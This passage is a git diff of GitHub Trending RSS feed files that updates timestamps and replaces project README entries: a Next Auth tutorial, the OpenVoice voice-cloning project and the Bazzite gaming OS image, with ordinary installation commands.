diff --git a/1c-enterprise/daily/index.xml b/1c-enterprise/daily/index.xml
index b0b66d00e89..33c0ddd41fa 100644
--- a/1c-enterprise/daily/index.xml
+++ b/1c-enterprise/daily/index.xml
@@ -1,7 +1,7 @@
GitHub 1C Enterprise Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:25:03Z
+ 2024-01-04T01:25:19ZDaily Trending of 1C Enterprise in GitHub
\ No newline at end of file
diff --git a/2-dimensional-array/daily/index.xml b/2-dimensional-array/daily/index.xml
index 1b5640af4af..00450738115 100644
--- a/2-dimensional-array/daily/index.xml
+++ b/2-dimensional-array/daily/index.xml
@@ -1,7 +1,7 @@
GitHub 2-Dimensional Array Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:25:20Z
+ 2024-01-04T01:25:38ZDaily Trending of 2-Dimensional Array in GitHub
\ No newline at end of file
diff --git a/4d/daily/index.xml b/4d/daily/index.xml
index 0ac7303fd2e..1a247eb1855 100644
--- a/4d/daily/index.xml
+++ b/4d/daily/index.xml
@@ -1,7 +1,7 @@
GitHub 4D Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:25:21Z
+ 2024-01-04T01:25:41ZDaily Trending of 4D in GitHub
\ No newline at end of file
diff --git a/abap-cds/daily/index.xml b/abap-cds/daily/index.xml
index 0a44615f632..748500ee8f7 100644
--- a/abap-cds/daily/index.xml
+++ b/abap-cds/daily/index.xml
@@ -1,7 +1,7 @@
GitHub ABAP CDS Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:25:21Z
+ 2024-01-04T01:25:39ZDaily Trending of ABAP CDS in GitHub
\ No newline at end of file
diff --git a/abap/daily/index.xml b/abap/daily/index.xml
index 5e6c21b218f..fef485d350c 100644
--- a/abap/daily/index.xml
+++ b/abap/daily/index.xml
@@ -1,7 +1,7 @@
GitHub ABAP Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:25:22Z
+ 2024-01-04T01:25:40ZDaily Trending of ABAP in GitHub
\ No newline at end of file
diff --git a/abnf/daily/index.xml b/abnf/daily/index.xml
index b12561d643a..8fafa022632 100644
--- a/abnf/daily/index.xml
+++ b/abnf/daily/index.xml
@@ -1,7 +1,7 @@
GitHub ABNF Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:25:24Z
+ 2024-01-04T01:25:44ZDaily Trending of ABNF in GitHub
\ No newline at end of file
diff --git a/actionscript/daily/index.xml b/actionscript/daily/index.xml
index baa396167cd..b9ec3904d6f 100644
--- a/actionscript/daily/index.xml
+++ b/actionscript/daily/index.xml
@@ -1,7 +1,7 @@
GitHub ActionScript Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:25:25Z
+ 2024-01-04T01:25:43ZDaily Trending of ActionScript in GitHub
\ No newline at end of file
diff --git a/ada/daily/index.xml b/ada/daily/index.xml
index 5e310b6142a..910ac714989 100644
--- a/ada/daily/index.xml
+++ b/ada/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Ada Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:25:26Z
+ 2024-01-04T01:25:42ZDaily Trending of Ada in GitHub
\ No newline at end of file
diff --git a/adobe-font-metrics/daily/index.xml b/adobe-font-metrics/daily/index.xml
index 068effca069..12b22074571 100644
--- a/adobe-font-metrics/daily/index.xml
+++ b/adobe-font-metrics/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Adobe Font Metrics Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:25:28Z
+ 2024-01-04T01:25:46ZDaily Trending of Adobe Font Metrics in GitHub
\ No newline at end of file
diff --git a/agda/daily/index.xml b/agda/daily/index.xml
index 28afa5eb84e..ea99ab8b8c2 100644
--- a/agda/daily/index.xml
+++ b/agda/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Agda Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:25:30Z
+ 2024-01-04T01:25:47ZDaily Trending of Agda in GitHub
\ No newline at end of file
diff --git a/ags-script/daily/index.xml b/ags-script/daily/index.xml
index 0e9ee1df409..7bb792d4142 100644
--- a/ags-script/daily/index.xml
+++ b/ags-script/daily/index.xml
@@ -1,7 +1,7 @@
GitHub AGS Script Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:25:29Z
+ 2024-01-04T01:25:47ZDaily Trending of AGS Script in GitHub
\ No newline at end of file
diff --git a/aidl/daily/index.xml b/aidl/daily/index.xml
index ba2f4060d1e..d92f499053d 100644
--- a/aidl/daily/index.xml
+++ b/aidl/daily/index.xml
@@ -1,7 +1,7 @@
GitHub AIDL Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:25:28Z
+ 2024-01-04T01:25:48ZDaily Trending of AIDL in GitHub
\ No newline at end of file
diff --git a/al/daily/index.xml b/al/daily/index.xml
index 0430ffe2703..9b8740a0c68 100644
--- a/al/daily/index.xml
+++ b/al/daily/index.xml
@@ -1,7 +1,7 @@
GitHub AL Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:25:31Z
+ 2024-01-04T01:25:51ZDaily Trending of AL in GitHub
\ No newline at end of file
diff --git a/all/daily/index.xml b/all/daily/index.xml
index 61d68bd81d7..bde3f067b99 100644
--- a/all/daily/index.xml
+++ b/all/daily/index.xml
@@ -1,28 +1,28 @@
GitHub All Languages Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:25:10Z
+ 2024-01-04T01:25:26ZDaily Trending of All Languages in GitHub
- AntonioErdeljac/next-auth-v5-advanced-guide
- 2024-01-03T01:25:10Z
- tag:github.com,2024-01-03:/AntonioErdeljac/next-auth-v5-advanced-guide
-
- <p></p><hr><h1>Next Auth v5 - Advanced Guide (2024)</h1>
<p><img src="https://github.com/AntonioErdeljac/next-auth-v5-advanced-guide/assets/23248726/d0175397-8c3f-4e82-91c4-78c14f29bb81" alt="image"></p>
<p>This is a repository for Next Auth v5 - Advanced Guide (2024)</p>
<p><a href="https://youtu.be/1MTyCvS05V4">VIDEO TUTORIAL</a></p>
<p>Key Features:</p>
<ul>
<li>๐ Next-auth v5 (Auth.js)</li>
<li>๐ Next.js 14 with server actions</li>
<li>๐ Credentials Provider</li>
<li>๐ OAuth Provider (Social login with Google & GitHub)</li>
<li>๐ Forgot password functionality</li>
<li>โ๏ธ Email verification</li>
<li>๐ฑ Two factor verification</li>
<li>๐ฅ User roles (Admin & User)</li>
<li>๐ Login component (Opens in redirect or modal)</li>
<li>๐ Register component</li>
<li>๐ค Forgot password component</li>
<li>โ Verification component</li>
<li>โ ๏ธ Error component</li>
<li>๐ Login button</li>
<li>๐ช Logout button</li>
<li>๐ง Role Gate</li>
<li>๐ Exploring next.js middleware</li>
<li>๐ Extending & Exploring next-auth session</li>
<li>๐ Exploring next-auth callbacks</li>
<li>๐ค useCurrentUser hook</li>
<li>๐ useRole hook</li>
<li>๐ง currentUser utility</li>
<li>๐ฎ currentRole utility</li>
<li>๐ฅ๏ธ Example with server component</li>
<li>๐ป Example with client component</li>
<li>๐ Render content for admins using RoleGate component</li>
<li>๐ก๏ธ Protect API Routes for admins only</li>
<li>๐ Protect Server Actions for admins only</li>
<li>๐ง Change email with new verification in Settings page</li>
<li>๐ Change password with old password confirmation in Settings page</li>
<li>๐ Enable/disable two-factor auth in Settings page</li>
<li>๐ Change user role in Settings page (for development purposes only)</li>
</ul>
<h3>Prerequisites</h3>
<p><strong>Node version 18.7.x</strong></p>
<h3>Cloning the repository</h3>
<pre><code class="language-shell">git clone https://github.com/AntonioErdeljac/next-auth-v5-advanced-guide.git
</code></pre>
<h3>Install packages</h3>
<pre><code class="language-shell">npm i
</code></pre>
<h3>Setup .env file</h3>
<pre><code class="language-js">DATABASE_URL=
DIRECT_URL=
AUTH_SECRET=
GITHUB_CLIENT_ID=
GITHUB_CLIENT_SECRET=
GOOGLE_CLIENT_ID=
GOOGLE_CLIENT_SECRET=
RESEND_API_KEY=
NEXT_PUBLIC_APP_URL=
</code></pre>
<h3>Setup Prisma</h3>
<pre><code class="language-shell">npx prisma generate
npx prisma db push
</code></pre>
<h3>Start the app</h3>
<pre><code class="language-shell">npm run dev
</code></pre>
<h2>Available commands</h2>
<p>Running commands with npm <code>npm run [command]</code></p>
<table>
<thead>
<tr>
<th align="left">command</th>
<th align="left">description</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>dev</code></td>
<td align="left">Starts a development instance of the app</td>
</tr>
</tbody>
</table>
+ myshell-ai/OpenVoice
+ 2024-01-04T01:25:26Z
+ tag:github.com,2024-01-04:/myshell-ai/OpenVoice
+
+ <p>Instant voice cloning by MyShell.</p><hr><div align="center">
<div>
</div>
<img src="https://raw.githubusercontent.com/myshell-ai/OpenVoice/main/resources/openvoicelogo.jpg" width="400">
<p><a href="https://arxiv.org/abs/2312.01479">Paper</a> | <a href="https://research.myshell.ai/open-voice">Website</a></p>
</div>
<h2>Join Our Community</h2>
<p>Join our <a href="https://discord.gg/myshell">Discord community</a> and select the <code>Developer</code> role upon joining to gain exclusive access to our developer-only channel! Don't miss out on valuable discussions and collaboration opportunities.</p>
<h2>Introduction</h2>
<p>As we detailed in our <a href="https://arxiv.org/abs/2312.01479">paper</a> and <a href="https://research.myshell.ai/open-voice">website</a>, the advantages of OpenVoice are three-fold:</p>
<p><strong>1. Accurate Tone Color Cloning.</strong> OpenVoice can accurately clone the reference tone color and generate speech in multiple languages and accents.</p>
<p><strong>2. Flexible Voice Style Control.</strong> OpenVoice enables granular control over voice styles, such as emotion and accent, as well as other style parameters including rhythm, pauses, and intonation.</p>
<p><strong>3. Zero-shot Cross-lingual Voice Cloning.</strong> Neither of the language of the generated speech nor the language of the reference speech needs to be presented in the massive-speaker multi-lingual training dataset.</p>
<p><a href="https://github.com/myshell-ai/OpenVoice/assets/40556743/3cba936f-82bf-476c-9e52-09f0f417bb2f">Video</a></p>
<div align="center">
<div>
</div>
<img src="https://raw.githubusercontent.com/myshell-ai/OpenVoice/main/resources/framework-ipa.png" width="800">
<div>
</div>
</div>
<p>OpenVoice has been powering the instant voice cloning capability of <a href="https://app.myshell.ai/explore">myshell.ai</a> since May 2023. Until Nov 2023, the voice cloning model has been used tens of millions of times by users worldwide, and witnessed the explosive user growth on the platform.</p>
<h2>Main Contributors</h2>
<ul>
<li><a href="https://www.qinzy.tech">Zengyi Qin</a> at MIT and MyShell</li>
<li><a href="https://wl-zhao.github.io">Wenliang Zhao</a> at Tsinghua University</li>
<li><a href="https://yuxumin.github.io">Xumin Yu</a> at Tsinghua University</li>
<li><a href="https://twitter.com/ethan_myshell">Ethan Sun</a> at MyShell</li>
</ul>
<h2>Live Demo</h2>
<div align="center">
<a href="https://www.lepton.ai/playground/openvoice"><img src="https://raw.githubusercontent.com/myshell-ai/OpenVoice/main/resources/lepton.jpg"></a>
<a href="https://app.myshell.ai/bot/z6Bvua/1702636181"><img src="https://raw.githubusercontent.com/myshell-ai/OpenVoice/main/resources/myshell.jpg"></a>
</div>
<h2>Disclaimer</h2>
<p>This is a implementation that approximates the performance of the internal voice clone technology of <a href="https://app.myshell.ai/explore">myshell.ai</a>. The online version in myshell.ai has better 1) audio quality, 2) voice cloning similarity, 3) speech naturalness and 4) computational efficiency.</p>
<h2>Installation</h2>
<p>Clone this repo, and run</p>
<pre><code>conda create -n openvoice python=3.9
conda activate openvoice
conda install pytorch==1.13.1 torchvision==0.14.1 torchaudio==0.13.1 pytorch-cuda=11.7 -c pytorch -c nvidia
pip install -r requirements.txt
</code></pre>
<p>Download the checkpoint from <a href="https://myshell-public-repo-hosting.s3.amazonaws.com/checkpoints_1226.zip">here</a> and extract it to the <code>checkpoints</code> folder</p>
<h2>Usage</h2>
<p><strong>1. Flexible Voice Style Control.</strong> Please see <a href="https://raw.githubusercontent.com/myshell-ai/OpenVoice/main/demo_part1.ipynb"><code>demo_part1.ipynb</code></a> for an example usage of how OpenVoice enables flexible style control over the cloned voice.</p>
<p><strong>2. Cross-Lingual Voice Cloning.</strong> Please see <a href="https://raw.githubusercontent.com/myshell-ai/OpenVoice/main/demo_part2.ipynb"><code>demo_part2.ipynb</code></a> for an example for languages seen or unseen in the MSML training set.</p>
<p><strong>3. Gradio Demo.</strong> Launch a local gradio demo with <a href="https://raw.githubusercontent.com/myshell-ai/OpenVoice/main/openvoice_app.py"><code>python -m openvoice_app --share</code></a>.</p>
<p><strong>4. Advanced Usage.</strong> The base speaker model can be replaced with any model (in any language and style) that the user prefer. Please use the <code>se_extractor.get_se</code> function as demonstrated in the demo to extract the tone color embedding for the new base speaker.</p>
<p><strong>5. Tips to Generate Natural Speech.</strong> There are many single or multi-speaker TTS methods that can generate natural speech, and are readily available. By simply replacing the base speaker model with the model you prefer, you can push the speech naturalness to a level you desire.</p>
<h2>Roadmap</h2>
<ul>
<li><input type="checkbox" checked disabled> Inference code</li>
<li><input type="checkbox" checked disabled> Tone color converter model</li>
<li><input type="checkbox" checked disabled> Multi-style base speaker model</li>
<li><input type="checkbox" checked disabled> Multi-style and multi-lingual demo</li>
<li><input type="checkbox" checked disabled> Base speaker model in other languages</li>
<li><input type="checkbox" checked disabled> EN base speaker model with better naturalness</li>
</ul>
<h2>Citation</h2>
<pre><code>@article{qin2023openvoice,
title={OpenVoice: Versatile Instant Voice Cloning},
author={Qin, Zengyi and Zhao, Wenliang and Yu, Xumin and Sun, Xin},
journal={arXiv preprint arXiv:2312.01479},
year={2023}
}
</code></pre>
<h2>License</h2>
<p>This repository is licensed under a Creative Commons Attribution-NonCommercial 4.0 International License, which prohibits commercial usage. <strong>MyShell reserves the ability to detect whether an audio is generated by OpenVoice</strong>, no matter whether the watermark is added or not.</p>
<h2>Acknowledgements</h2>
<p>This implementation is based on several excellent projects, <a href="https://github.com/coqui-ai/TTS">TTS</a>, <a href="https://github.com/jaywalnut310/vits">VITS</a>, and <a href="https://github.com/daniilrobnikov/vits2">VITS2</a>. Thanks for their awesome work!</p>
- ublue-os/bazzite
- 2024-01-03T01:25:10Z
- tag:github.com,2024-01-03:/ublue-os/bazzite
-
- <p>Bazzite is an OCI image that serves as an alternative operating system for the Steam Deck, and a ready-to-game SteamOS-like for desktop computers, living room home theater PCs, and numerous other handheld PCs.</p><hr><p align="center"> <img src="https://raw.githubusercontent.com/ublue-os/bazzite/main/repo_content/Bazzite_Tagline.svg?raw=true" alt="Bazzite"> </p>
<p><a href="https://github.com/ublue-os/bazzite/actions/workflows/build.yml"><img src="https://github.com/ublue-os/bazzite/actions/workflows/build.yml/badge.svg?sanitize=true" alt="build-bazzite"></a></p>
<hr>
<h1>Table of Contents</h1>
<ul>
<li><a href="https://github.com/ublue-os/bazzite#about--features">Features for <strong>All</strong> Bazzite Images</a>
<ul>
<li><a href="https://github.com/ublue-os/bazzite#desktop">Features for <strong>Desktop</strong> Images</a></li>
<li><a href="https://github.com/ublue-os/bazzite#steam-deckhome-theater-pcs-htpcs">Features for <strong>Steam Deck / HTPC</strong> Images</a></li>
<li><a href="https://github.com/ublue-os/bazzite#gnome">Features for <strong>GNOME</strong> Images</a></li>
<li><a href="https://github.com/ublue-os/bazzite#features-from-upstream">Features from Upstream</a></li>
</ul> </li>
<li><a href="https://github.com/ublue-os/bazzite#why">Why</a></li>
<li><a href="https://github.com/ublue-os/bazzite#showcase">Showcase</a></li>
<li><a href="https://github.com/ublue-os/bazzite#documentation--newsletters">Documentation & Newsletters</a></li>
<li><a href="https://github.com/ublue-os/bazzite#custom-packages">Custom Packages</a></li>
<li><a href="https://github.com/ublue-os/bazzite#verification">Verification & Metrics</a></li>
<li><a href="https://github.com/ublue-os/bazzite#special-thanks">Special Thanks</a></li>
<li><a href="https://github.com/ublue-os/bazzite#build-your-own">Building Your Own</a></li>
<li><a href="https://github.com/ublue-os/bazzite#join-the-community">Community</a></li>
</ul>
<hr>
<h2>About & Features</h2>
<p>Bazzite is an OCI image that serves as an alternative operating system for the <a href="https://www.steamdeck.com/">Steam Deck</a>, and a ready-to-game SteamOS-like for desktop computers and living room home theater PCs.</p>
<p>Bazzite is built from <a href="https://github.com/ublue-os/main">ublue-os/main</a> and <a href="https://github.com/ublue-os/nvidia">ublue-os/nvidia</a> using <a href="https://fedoraproject.org/">Fedora</a> technology, which means expanded hardware support and built in drivers are included. Additionally, Bazzite adds the following features:</p>
<ul>
<li>Proprietary Nvidia drivers pre-installed.</li>
<li>Full hardware accelerated codec support for H264 decoding.</li>
<li>Full support for AMD's ROCM OpenCL/HIP run-times.</li>
<li><a href="https://github.com/medusalix/xone">xone</a>, <a href="https://github.com/atar-axis/xpadneo">xpadneo</a>, and <a href="https://github.com/ublue-os/xpad-noone">xpad-noone</a> drivers for Xbox controllers.</li>
<li>Full support for <a href="https://www.synaptics.com/products/displaylink-graphics">DisplayLink</a>.</li>
<li>Includes Valve's KDE themes from SteamOS.</li>
<li><a href="https://github.com/ishitatsuyuki/LatencyFleX">LatencyFleX</a>, <a href="https://github.com/DadSchoorse/vkBasalt">vkBasalt</a>, <a href="https://github.com/flightlessmango/Mangohud">MangoHud</a>, and <a href="https://github.com/nowrep/obs-vkcapture">OBS VkCapture</a> installed and available by default</li>
<li>Support for <a href="https://www.wallpaperengine.io/en">Wallpaper Engine</a>. <sub><sup>(Only on KDE)</sup></sub></li>
<li><a href="https://github.com/GerbilSoft/rom-properties">ROM Properties Page shell extension</a> included.</li>
<li>Full support for <a href="https://github.com/Frogging-Family/wine-tkg-git/issues/936">Winesync/Fastsync/NTsync</a>.</li>
<li><a href="https://github.com/89luca89/distrobox">Distrobox</a> preinstalled with automatic updates for created containers.</li>
<li>Automated <code>duperemove</code> and <code>rmlint</code> services for reducing the disk space used by wine prefix contents.</li>
<li>Support for HDMI CEC via <a href="https://libcec.pulse-eight.com/">libCEC</a>.</li>
<li><a href="https://github.com/pop-os/system76-scheduler">System76-Scheduler</a> preinstalled, providing automatic process priority tweaks to your focused application and keeping CPU time for background processes to a minimum.</li>
<li>Customized System76-Scheduler config with additional rules.</li>
<li>Uses <a href="https://github.com/google/bbr">Google's BBR TCP congestion control</a> by default.</li>
<li><a href="https://github.com/sezanzeb/input-remapper">Input Remapper</a> preinstalled and enabled. <sub><sup>(Available but default-disabled on the Deck variant, may be enabled with <code>ujust enable-input-remapper</code>)</sup></sub></li>
<li>Bazzite Portal provides an easy way to install numerous applications and tweaks, including installing <a href="https://github.com/ilya-zlobintsev/LACT">LACT</a> and <a href="https://gitlab.com/leinardi/gwe">GreenWithEnvy</a>.</li>
<li><a href="https://nixos.org/">Nix</a> package manager with <a href="https://getfleek.dev/">Fleek</a> optionally available for install via Bazzite Portal.</li>
<li><a href="https://brew.sh/">Brew</a> package manager optionally available for install via Bazzite Portal.</li>
<li><a href="https://waydro.id/">Waydroid</a> preinstalled for running Android apps. Set it up with this <a href="https://universal-blue.discourse.group/docs?topic=32">quick guide</a>. Future releases will offer to set this up for you through Bazzite Portal. <sub><sup>(Not available on Nvidia builds)</sup></sub></li>
<li>Manage applications using <a href="https://github.com/tchx84/Flatseal">Flatseal</a>, <a href="https://github.com/flattool/warehouse">Warehouse</a>, and <a href="https://github.com/mijorus/gearlever">Gear Lever</a>.</li>
<li><a href="https://gitlab.com/CalcProgrammer1/OpenRGB">OpenRGB</a> i2c-piix4 and i2c-nct6775 drivers for controlling RGB on certain motherboards.</li>
<li><a href="https://openrazer.github.io">OpenRazer</a> drivers built in, Select OpenRazer in Bazzite Portal or run <code>ujust install-openrazer</code> in a terminal to begin using it.</li>
<li><a href="https://opentabletdriver.net/">OpenTabletDriver</a> udev rules built in, with the full software suite installable via Bazzite Portal or by running <code>ujust install-opentabletdriver</code> in a terminal.</li>
<li><a href="https://github.com/hannesmann/gcadapter-oc-kmod">GCAdapter_OC</a> driver for overclocking Nintendo's Gamecube Controller Adapter to 1000hz polling.</li>
<li>Out of the box support for <a href="https://wooting.io/">Wooting</a> keyboards.</li>
<li>Built in support for Southern Islands <sub><sup>(HD 7000)</sup></sub> and Sea Islands <sub><sup>(HD 8000)</sup></sub> AMD GPUs under the <code>amdgpu</code> driver.</li>
<li>A fix is available for <a href="https://github.com/ValveSoftware/Source-1-Games/issues/5043">a 32-bit Source 1 engine game bug <sub><sup>(IE: TF2)</sup></sub></a> that makes the game crash on launch - <code>ujust patch-source1-tcmalloc</code></li>
<li><a href="https://invent.kde.org/system/xwaylandvideobridge">XwaylandVideoBridge</a> is available for Discord screensharing on Wayland.</li>
<li><a href="https://github.com/linuxmint/webapp-manager">Webapp Manager</a> is available for creating applications from websites for a variety of browsers, including Firefox.</li>
</ul>
<h3>Desktop</h3>
<p>Common variant available as <code>bazzite</code>, suitable for desktop computers.</p>
<ul>
<li>Automatic updates for the OS, Flatpaks, Nix packages <sup><sub>(Via Fleek)</sub></sup>, and all Distrobox containers.</li>
</ul>
<blockquote>
<p>[!IMPORTANT]<br> <strong>ISOs can be downloaded from our releases page <a href="https://github.com/ublue-os/bazzite/releases">here</a>, and a helpful install guide can be found <a href="https://universal-blue.discourse.group/docs?topic=30">here</a>.</strong> If you experience any issues with installing Bazzite, then check out our <a href="https://universal-blue.discourse.group/docs?topic=34">troubleshoot guide</a>.</p>
</blockquote>
<p>If you're on an existing Universal Blue image follow <a href="https://universal-blue.org/images/#image-list">these instructions</a>. To rebase an existing upstream Fedora Silverblue/Kinoite ostree system to this image:</p>
<pre><code class="language-bash">rpm-ostree rebase ostree-unverified-registry:ghcr.io/ublue-os/bazzite:latest
</code></pre>
<p>or for devices with Nvidia GPUs:</p>
<pre><code class="language-bash">rpm-ostree rebase ostree-unverified-registry:ghcr.io/ublue-os/bazzite-nvidia:latest
</code></pre>
<p><strong>For users with Secure Boot enabled:</strong> Run <code>ujust enroll-secure-boot-key</code> and enter the password <code>ublue-os</code> if prompted to enroll the required key.</p>
<h3>Steam Deck/Home Theater PCs (HTPCs)</h3>
<blockquote>
<p>[!IMPORTANT]<br> Devices that are NOT the Steam Deck can still use the bazzite-deck images, but must use an AMD/Intel GPU.</p>
</blockquote>
<p>Variant designed for usage as an alternative to SteamOS on the Steam Deck, and for a console-like experience on HTPCs, available as <code>bazzite-deck</code>:</p>
<ul>
<li>Directly boots to Gamemode matching SteamOS's behavior.</li>
<li><strong>Automatic <code>duperemove</code> greatly trims the size of compatdata.</strong></li>
<li><strong>Latest version of Mesa creates smaller shader caches and does not require them to prevent stutter.</strong></li>
<li><strong>Able to be booted even if the drive is full.</strong></li>
<li><strong>Support for every language supported by upstream Fedora.</strong></li>
<li><strong>Uses Wayland on the desktop with <a href="https://github.com/Supreeeme/extest">support for Steam input</a>.</strong></li>
<li>Features ported versions of most SteamOS packages, including drivers, firmware updaters, and fan controllers <a href="https://gitlab.com/evlaV">from the evlaV repository</a>.</li>
<li>Patched Mesa for proper framerate control from Gamescope.</li>
<li>Comes with patches from <a href="https://gitlab.com/popsulfr/steamos-btrfs">SteamOS BTRFS</a> for full BTRFS support for the SD card by default.</li>
<li>Ships with a ported copy of <a href="https://github.com/kmicki/SteamDeckGyroDSU">SDGyroDSU</a>, enabled by default.</li>
<li>Option to install <a href="https://github.com/SteamDeckHomebrew/decky-loader">Decky Loader</a>, <a href="https://www.emudeck.com/">EmuDeck</a>, <a href="https://retrodeck.net/">RetroDECK</a>, and <a href="https://davidotek.github.io/protonup-qt/">ProtonUp-Qt</a>, among numerous other useful packages on installation.</li>
<li>Custom update system allows for the OS, Flatpaks, Nix packages <sup><sub>(Via Fleek)</sub></sup>, and Distrobox images to be updated directly from the Gamemode UI.</li>
<li>Built in support for Windows dual-boot thanks to Fedora's installation of GRUB being left intact.</li>
<li>Update break something? Easily roll back to the previous version of Bazzite thanks to <code>rpm-ostree</code>'s rollback functionality. You can even select previous images at boot.</li>
<li>Steam and Lutris preinstalled on the image as layered packages.</li>
<li><a href="https://github.com/trigg/Discover">Discover Overlay</a> for Discord pre-installed and automatically launches in both Gamemode and on the Desktop if Discord is installed. <a href="https://trigg.github.io/Discover/bazzite">View the official documentation here</a>.</li>
<li>Uses ZRAM<sub><sup>(4GB)</sup></sub> with the ZSTD compression algorithm by default with the option to switch back to a 1GB swap file and set a custom size for it if desired.</li>
<li>Kyber I/O scheduler to prevent I/O starvation when installing games or during background <code>duperemove</code> and <code>rmlint</code> processes.</li>
<li>Applies SteamOS's kernel parameters.</li>
<li>Color calibrated display profiles for matte and reflective Steam Deck screens included.</li>
<li>Default-disabled power-user features, including:
<ul>
<li>Service for low-risk undervolting of the Steam Deck via <a href="https://github.com/FlyGoat/RyzenAdj">RyzenAdj</a> and <a href="https://gitlab.com/leogx9r/ryzen_smu">Ryzen SMU</a>, see <code>ryzenadj.service</code> and <code>/etc/default/ryzenadj</code>.</li>
<li>Service for limiting the max charge level of the battery, see <code>batterylimit.service</code> and <code>/etc/default/batterylimit</code>. <sup><sub>(Works even when the device is off)</sub></sup></li>
<li>Built in support for display overclocking. For example, add <code>GAMESCOPE_OVERRIDE_REFRESH_RATE=40,70</code> to <code>/etc/environment</code>.</li>
<li>Ability to use X11 on the desktop if desired by editing <code>/etc/default/desktop-wayland</code>.</li>
<li>32GB RAM mod your Steam Deck? Enjoy double the maximum VRAM amount, automatically applied. <sup><sub>(Can you share your soldering skills?)</sub></sup></li>
</ul> </li>
<li>Steam Deck hardware-specific services can be disabled by running <code>ujust disable-deck-services</code> in the terminal, useful for trying this image on other handhelds or for use on HTPCs.</li>
<li>More information can be found <a href="https://universal-blue.discourse.group/docs?topic=37">here</a> on the Bazzite Steam Deck images.</li>
</ul>
<blockquote>
<p>[!WARNING]<br> <strong>Due to an upstream bug, Bazzite cannot be used on Steam Decks with 64GB eMMC storage at this time. Upgrading the storage resolves the issue.</strong></p>
</blockquote>
<blockquote>
<p>[!IMPORTANT]<br> <strong>ISOs can be downloaded from our releases page <a href="https://github.com/ublue-os/bazzite/releases">here</a>, and a helpful install guide can be found <a href="https://universal-blue.discourse.group/docs?topic=30">here</a>.</strong> If you experience any issues with installing Bazzite, then check out our <a href="https://universal-blue.discourse.group/docs?topic=34">troubleshoot guide</a>.</p>
</blockquote>
<p>If you're on an existing Universal Blue image follow <a href="https://universal-blue.org/images/#image-list">these instructions</a>. To rebase an existing upstream Fedora Silverblue/Kinoite ostree system to this image:</p>
<pre><code class="language-bash">rpm-ostree rebase ostree-unverified-registry:ghcr.io/ublue-os/bazzite-deck:latest
</code></pre>
<h3>GNOME</h3>
<p>Builds with the GNOME desktop environment are available in both desktop and deck flavors. These builds come with the following additional features:</p>
<ul>
<li><a href="https://gitlab.gnome.org/GNOME/mutter/-/merge_requests/1154">Variable refresh rate support and fractional scaling enabled under Wayland</a>.</li>
<li>Custom menu in the top bar for returning to game mode, launching Steam, and opening a number of useful utilities.</li>
<li><a href="https://extensions.gnome.org/extension/1319/gsconnect/">GSConnect</a> preinstalled and ready to use.</li>
<li>Features optional Valve-inspired themes matching Vapor and VGUI2 from SteamOS.</li>
<li><a href="https://github.com/jeffshee/gnome-ext-hanabi">Hanabi extension</a> included to offer similar features to Wallpaper Engine in KDE.</li>
<li>Numerous optional extensions pre-installed, including <a href="https://www.youtube.com/watch?v=nbCg9_YgKgM">important user experience fixes</a>.</li>
<li>Automatic updates for the <a href="https://github.com/rafaelmardojai/firefox-gnome-theme">Firefox GNOME theme</a> and <a href="https://github.com/rafaelmardojai/thunderbird-gnome-theme">Thunderbird GNOME theme</a>. <sup><sub>(If installed)</sub></sup></li>
</ul>
<blockquote>
<p>[!IMPORTANT]<br> <strong>ISOs can be downloaded from our releases page <a href="https://github.com/ublue-os/bazzite/releases">here</a>, and a helpful install guide can be found <a href="https://universal-blue.discourse.group/docs?topic=30">here</a>.</strong> If you experience any issues with installing Bazzite, then check out our <a href="https://universal-blue.discourse.group/docs?topic=34">troubleshoot guide</a>.</p>
</blockquote>
<p>To rebase an existing ostree system to the <strong>desktop</strong> release:</p>
<pre><code class="language-bash">rpm-ostree rebase ostree-unverified-registry:ghcr.io/ublue-os/bazzite-gnome:latest
</code></pre>
<p>To rebase an existing ostree system to the <strong>desktop with Nvidia drivers</strong> release:</p>
<pre><code class="language-bash">rpm-ostree rebase ostree-unverified-registry:ghcr.io/ublue-os/bazzite-gnome-nvidia:latest
</code></pre>
<blockquote>
<p>[!WARNING]<br> <strong>Due to an upstream bug, Bazzite cannot be used on Steam Decks with 64GB eMMC storage at this time.</strong></p>
</blockquote>
<p>To rebase an existing ostree system to the <strong>Steam Deck/HTPC</strong> release:</p>
<pre><code class="language-bash">rpm-ostree rebase ostree-unverified-registry:ghcr.io/ublue-os/bazzite-deck-gnome:latest
</code></pre>
<h3>Features from Upstream</h3>
<h4>Universal Blue</h4>
<ul>
<li>Flathub is enabled by default.</li>
<li><a href="https://github.com/casey/just"><code>ujust</code></a> commands for convenience.</li>
<li>Multi-media codecs out of the box.</li>
<li>Rollback Bazzite from any build within the last 90 days.</li>
</ul>
<h4>Features from Fedora Linux (Kinoite & Silverblue)</h4>
<ul>
<li>A rock solid and stable base.</li>
<li>System packages stay relatively up to date.</li>
<li>Can layer Fedora packages to the image without losing them between updates.</li>
<li>Security focused with <a href="https://github.com/SELinuxProject/selinux">SELinux</a> preinstalled and configured out of the box.</li>
<li>The ability to rebase to different Fedora libostree images, if desired, without losing user data.</li>
<li>Printing support thanks to <a href="https://www.cups.org/">CUPS</a> being preinstalled.</li>
</ul>
<h2>Why</h2>
<p>Bazzite started as a project to resolve some of the issues that plague SteamOS, mainly out of date packages (despite an Arch base) and the lack of a functional package manager.</p>
